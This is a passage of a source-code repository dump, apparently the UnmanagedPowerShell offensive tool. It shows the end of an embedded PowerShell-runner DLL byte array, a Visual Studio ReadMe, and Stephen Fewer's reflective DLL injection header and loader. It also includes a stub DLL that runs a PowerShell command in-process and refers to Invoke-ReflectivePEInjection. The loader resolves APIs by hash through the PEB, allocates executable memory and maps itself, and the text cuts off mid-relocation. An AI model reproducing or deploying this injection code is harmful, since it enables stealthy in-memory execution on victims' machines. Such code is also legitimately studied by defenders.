0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1070 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1071 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1072 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1073 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00, 1074 | 0x0C,0x00,0x00,0x00,0xD8,0x3A,0x00,0x00,0x00,0x00,0x00,0x00, 1075 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1076 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1077 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1078 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1079 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1080 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1081 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1082 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1083 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1084 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1085 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1086 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1087 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1088 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1089 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1090 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1091 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1092 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1093 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1094 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1095 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1096 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1097 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1098 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1099 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1100 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1101 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1102 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1103 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1104 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1105 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1106 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1107 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1108 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1109 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1110 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1111 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1112 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1113 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1114 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1115 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 1116 | 0x00,0x00,0x00,0x00 1117 | }; 1118 | 1119 | static const unsigned int PowerShellRunner_dll_len = 13312; 1120 | 1121 | 1122 | #endif 1123 | -------------------------------------------------------------------------------- /UnmanagedPowerShell/ReadMe.txt: -------------------------------------------------------------------------------- 1 | ======================================================================== 2 | CONSOLE APPLICATION : UnmanagedPowerShell Project Overview 3 | ======================================================================== 4 | 5 | AppWizard has created this UnmanagedPowerShell application for you. 6 | 7 | This file contains a summary of what you will find in each of the files that 8 | make up your UnmanagedPowerShell application. 9 | 10 | 11 | UnmanagedPowerShell.vcxproj 12 | This is the main project file for VC++ projects generated using an Application Wizard. 13 | It contains information about the version of Visual C++ that generated the file, and 14 | information about the platforms, configurations, and project features selected with the 15 | Application Wizard. 16 | 17 | UnmanagedPowerShell.vcxproj.filters 18 | This is the filters file for VC++ projects generated using an Application Wizard. 19 | It contains information about the association between the files in your project 20 | and the filters. This association is used in the IDE to show grouping of files with 21 | similar extensions under a specific node (for e.g. ".cpp" files are associated with the 22 | "Source Files" filter). 23 | 24 | UnmanagedPowerShell.cpp 25 | This is the main application source file. 26 | 27 | ///////////////////////////////////////////////////////////////////////////// 28 | Other standard files: 29 | 30 | StdAfx.h, StdAfx.cpp 31 | These files are used to build a precompiled header (PCH) file 32 | named UnmanagedPowerShell.pch and a precompiled types file named StdAfx.obj. 33 | 34 | ///////////////////////////////////////////////////////////////////////////// 35 | Other notes: 36 | 37 | AppWizard uses "TODO:" comments to indicate parts of the source code you 38 | should add to or customize. 39 | 40 | ///////////////////////////////////////////////////////////////////////////// 41 | -------------------------------------------------------------------------------- /UnmanagedPowerShell/ReflectiveDLLInjection.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H 30 | //===============================================================================================// 31 | #define WIN32_LEAN_AND_MEAN 32 | #include 33 | 34 | // we declare some common stuff in here... 35 | 36 | #define DLL_QUERY_HMODULE 6 37 | 38 | #define DEREF( name )*(UINT_PTR *)(name) 39 | #define DEREF_64( name )*(DWORD64 *)(name) 40 | #define DEREF_32( name )*(DWORD *)(name) 41 | #define DEREF_16( name )*(WORD *)(name) 42 | #define DEREF_8( name )*(BYTE *)(name) 43 | 44 | typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID ); 45 | typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID ); 46 | 47 | #define DLLEXPORT __declspec( dllexport ) 48 | 49 | //===============================================================================================// 50 | #endif 51 | //===============================================================================================// 52 | -------------------------------------------------------------------------------- /UnmanagedPowerShell/ReflectiveDll.cpp: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // This is a stub for the actuall functionality of the DLL. 3 | //===============================================================================================// 4 | #include "stdafx.h" 5 | #include "ReflectiveLoader.h" 6 | #include "PowerShellRunnerDll.h" 7 | #include "UnmanagedPowerShell.h" 8 | 9 | // Note: REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR and REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN are 10 | // defined in the project properties (Properties->C++->Preprocessor) so as we can specify our own 11 | // DllMain and use the LoadRemoteLibraryR() API to inject this DLL. 12 | 13 | // You can use this value as a pseudo hinstDLL value (defined and set via ReflectiveLoader.c) 14 | extern HINSTANCE hAppInstance; 15 | 16 | 17 | void DoStuff(LPVOID lpParam) 18 | { 19 | CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); 20 | 21 | _Type* PsRuntime = NULL; 22 | HRESULT hr = NULL; 23 | wchar_t* argument = L"Invoke-Replace "; 24 | 25 | hr = SetupPSRuntime(&PsRuntime); 26 | if (SUCCEEDED(hr) && PsRuntime != NULL) { 27 | InvokeMethod(PsRuntime, L"InvokePS", argument); 28 | CoUninitialize(); 29 | //return 0; 30 | } 31 | else { 32 | //return -1; 33 | } 34 | 35 | } 36 | 37 | // Currently called by Invoke-ReflectivePEInjection. This export will be removed once we're using Invoke-ShellCode instead. 38 | extern "C" __declspec(dllexport) void VoidFunc() 39 | { 40 | DoStuff(NULL); 41 | } 42 | 43 | //===============================================================================================// 44 | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) 45 | { 46 | BOOL bReturnValue = TRUE; 47 | switch( dwReason ) 48 | { 49 | case DLL_QUERY_HMODULE: 50 | if( lpReserved != NULL ) 51 | *(HMODULE *)lpReserved = hAppInstance; 52 | break; 53 | case DLL_PROCESS_ATTACH: 54 | hAppInstance = hinstDLL; 55 | 56 | //DoStuff(NULL); 57 | 58 | break; 59 | case DLL_PROCESS_DETACH: 60 | case DLL_THREAD_ATTACH: 61 | case DLL_THREAD_DETACH: 62 | break; 63 | } 64 | return bReturnValue; 65 | } -------------------------------------------------------------------------------- /UnmanagedPowerShell/ReflectiveLoader.cpp: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "stdafx.h" 29 | #include "ReflectiveLoader.h" 30 | //===============================================================================================// 31 | // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value 32 | HINSTANCE hAppInstance = NULL; 33 | //===============================================================================================// 34 | #pragma intrinsic( _ReturnAddress ) 35 | // This function can not be inlined by the compiler or we will not get the address we expect. Ideally 36 | // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of 37 | // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics 38 | // available (and no inline asm available under x64). 39 | __declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } 40 | //===============================================================================================// 41 | 42 | // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, 43 | // otherwise the DllMain at the end of this file will be used. 44 | 45 | // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, 46 | // otherwise it is assumed you are calling the ReflectiveLoader via a stub. 47 | 48 | // This is our position independent reflective DLL loader/injector 49 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 50 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) 51 | #else 52 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) 53 | #endif 54 | { 55 | // the functions we need 56 | LOADLIBRARYA pLoadLibraryA = NULL; 57 | GETPROCADDRESS pGetProcAddress = NULL; 58 | VIRTUALALLOC pVirtualAlloc = NULL; 59 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; 60 | 61 | USHORT usCounter; 62 | 63 | // the initial location of this image in memory 64 | ULONG_PTR uiLibraryAddress; 65 | // the kernels base address and later this images newly loaded base address 66 | ULONG_PTR uiBaseAddress; 67 | 68 | // variables for processing the kernels export table 69 | ULONG_PTR uiAddressArray; 70 | ULONG_PTR uiNameArray; 71 | ULONG_PTR uiExportDir; 72 | ULONG_PTR uiNameOrdinals; 73 | DWORD dwHashValue; 74 | 75 | // variables for loading this image 76 | ULONG_PTR uiHeaderValue; 77 | ULONG_PTR uiValueA; 78 | ULONG_PTR uiValueB; 79 | ULONG_PTR uiValueC; 80 | ULONG_PTR uiValueD; 81 | ULONG_PTR uiValueE; 82 | 83 | // STEP 0: calculate our images current base address 84 | 85 | // we will start searching backwards from our callers return address. 86 | uiLibraryAddress = caller(); 87 | 88 | // loop through memory backwards searching for our images base address 89 | // we dont need SEH style search as we shouldnt generate any access violations with this 90 | while( TRUE ) 91 | { 92 | if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) 93 | { 94 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 95 | // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), 96 | // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. 97 | if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) 98 | { 99 | uiHeaderValue += uiLibraryAddress; 100 | // break if we have found a valid MZ/PE header 101 | if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) 102 | break; 103 | } 104 | } 105 | uiLibraryAddress--; 106 | } 107 | 108 | // STEP 1: process the kernels exports for the functions our loader needs... 109 | 110 | // get the Process Enviroment Block 111 | #ifdef WIN_X64 112 | uiBaseAddress = __readgsqword( 0x60 ); 113 | #else 114 | #ifdef WIN_X86 115 | uiBaseAddress = __readfsdword( 0x30 ); 116 | #else WIN_ARM 117 | uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); 118 | #endif 119 | #endif 120 | 121 | // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx 122 | uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; 123 | 124 | // get the first entry of the InMemoryOrder module list 125 | uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; 126 | while( uiValueA ) 127 | { 128 | // get pointer to current modules name (unicode string) 129 | uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; 130 | // set bCounter to the length for the loop 131 | usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; 132 | // clear uiValueC which will store the hash of the module name 133 | uiValueC = 0; 134 | 135 | // compute the hash of the module name... 136 | do 137 | { 138 | uiValueC = ror( (DWORD)uiValueC ); 139 | // normalize to uppercase if the madule name is in lowercase 140 | if( *((BYTE *)uiValueB) >= 'a' ) 141 | uiValueC += *((BYTE *)uiValueB) - 0x20; 142 | else 143 | uiValueC += *((BYTE *)uiValueB); 144 | uiValueB++; 145 | } while( --usCounter ); 146 | 147 | // compare the hash with that of kernel32.dll 148 | if( (DWORD)uiValueC == KERNEL32DLL_HASH ) 149 | { 150 | // get this modules base address 151 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 152 | 153 | // get the VA of the modules NT Header 154 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 155 | 156 | // uiNameArray = the address of the modules export directory entry 157 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 158 | 159 | // get the VA of the export directory 160 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 161 | 162 | // get the VA for the array of name pointers 163 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); 164 | 165 | // get the VA for the array of name ordinals 166 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); 167 | 168 | usCounter = 3; 169 | 170 | // loop while we still have imports to find 171 | while( usCounter > 0 ) 172 | { 173 | // compute the hash values for this function name 174 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); 175 | 176 | // if we have found a function we want we get its virtual address 177 | if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) 178 | { 179 | // get the VA for the array of addresses 180 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 181 | 182 | // use this functions name ordinal as an index into the array of name pointers 183 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 184 | 185 | // store this functions VA 186 | if( dwHashValue == LOADLIBRARYA_HASH ) 187 | pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 188 | else if( dwHashValue == GETPROCADDRESS_HASH ) 189 | pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 190 | else if( dwHashValue == VIRTUALALLOC_HASH ) 191 | pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 192 | 193 | // decrement our counter 194 | usCounter--; 195 | } 196 | 197 | // get the next exported function name 198 | uiNameArray += sizeof(DWORD); 199 | 200 | // get the next exported function name ordinal 201 | uiNameOrdinals += sizeof(WORD); 202 | } 203 | } 204 | else if( (DWORD)uiValueC == NTDLLDLL_HASH ) 205 | { 206 | // get this modules base address 207 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 208 | 209 | // get the VA of the modules NT Header 210 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 211 | 212 | // uiNameArray = the address of the modules export directory entry 213 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 214 | 215 | // get the VA of the export directory 216 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 217 | 218 | // get the VA for the array of name pointers 219 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); 220 | 221 | // get the VA for the array of name ordinals 222 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); 223 | 224 | usCounter = 1; 225 | 226 | // loop while we still have imports to find 227 | while( usCounter > 0 ) 228 | { 229 | // compute the hash values for this function name 230 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); 231 | 232 | // if we have found a function we want we get its virtual address 233 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) 234 | { 235 | // get the VA for the array of addresses 236 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 237 | 238 | // use this functions name ordinal as an index into the array of name pointers 239 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 240 | 241 | // store this functions VA 242 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) 243 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 244 | 245 | // decrement our counter 246 | usCounter--; 247 | } 248 | 249 | // get the next exported function name 250 | uiNameArray += sizeof(DWORD); 251 | 252 | // get the next exported function name ordinal 253 | uiNameOrdinals += sizeof(WORD); 254 | } 255 | } 256 | 257 | // we stop searching when we have found everything we need. 258 | if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) 259 | break; 260 | 261 | // get the next entry 262 | uiValueA = DEREF( uiValueA ); 263 | } 264 | 265 | // STEP 2: load our image into a new permanent location in memory... 266 | 267 | // get the VA of the NT Header for the PE to be loaded 268 | uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 269 | 270 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will 271 | // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. 272 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 273 | 274 | // we must now copy over the headers 275 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; 276 | uiValueB = uiLibraryAddress; 277 | uiValueC = uiBaseAddress; 278 | 279 | while( uiValueA-- ) 280 | *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; 281 | 282 | // STEP 3: load in all of our sections... 283 | 284 | // uiValueA = the VA of the first section 285 | uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); 286 | 287 | // itterate through all sections, loading them into memory. 288 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; 289 | while( uiValueE-- ) 290 | { 291 | // uiValueB is the VA for this section 292 | uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); 293 | 294 | // uiValueC if the VA for this sections data 295 | uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); 296 | 297 | // copy the section over 298 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; 299 | 300 | while( uiValueD-- ) 301 | *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; 302 | 303 | // get the VA of the next section 304 | uiValueA += sizeof( IMAGE_SECTION_HEADER ); 305 | } 306 | 307 | // STEP 4: process our images import table... 308 | 309 | // uiValueB = the address of the import directory 310 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; 311 | 312 | // we assume their is an import table to process 313 | // uiValueC is the first entry in the import table 314 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 315 | 316 | // itterate through all imports 317 | while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) 318 | { 319 | // use LoadLibraryA to load the imported module into memory 320 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); 321 | 322 | // uiValueD = VA of the OriginalFirstThunk 323 | uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); 324 | 325 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) 326 | uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); 327 | 328 | // itterate through all imported functions, importing by ordinal if no name present 329 | while( DEREF(uiValueA) ) 330 | { 331 | // sanity check uiValueD as some compilers only import by FirstThunk 332 | if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) 333 | { 334 | // get the VA of the modules NT Header 335 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 336 | 337 | // uiNameArray = the address of the modules export directory entry 338 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 339 | 340 | // get the VA of the export directory 341 | uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 342 | 343 | // get the VA for the array of addresses 344 | uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 345 | 346 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 347 | uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); 348 | 349 | // patch in the address for this imported function 350 | DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); 351 | } 352 | else 353 | { 354 | // get the VA of this functions import by name struct 355 | uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); 356 | 357 | // use GetProcAddress and patch in the address for this imported function 358 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); 359 | } 360 | // get the next imported function 361 | uiValueA += sizeof( ULONG_PTR ); 362 | if( uiValueD ) 363 | uiValueD += sizeof( ULONG_PTR ); 364 | } 365 | 366 | // get the next import 367 | uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); 368 | } 369 | 370 | // STEP 5: process all of our images relocations... 371 | 372 | // calculate the base address delta and perform relocations (even if we load at desired image base) 373 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; 374 | 375 | // uiValueB = the address of the relocation directory 376 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; 377 | 378 | // check if their are any relocations present 379 | if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) 380 | { 381 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) 382 | uiValueC = ( uiBaseAddress + 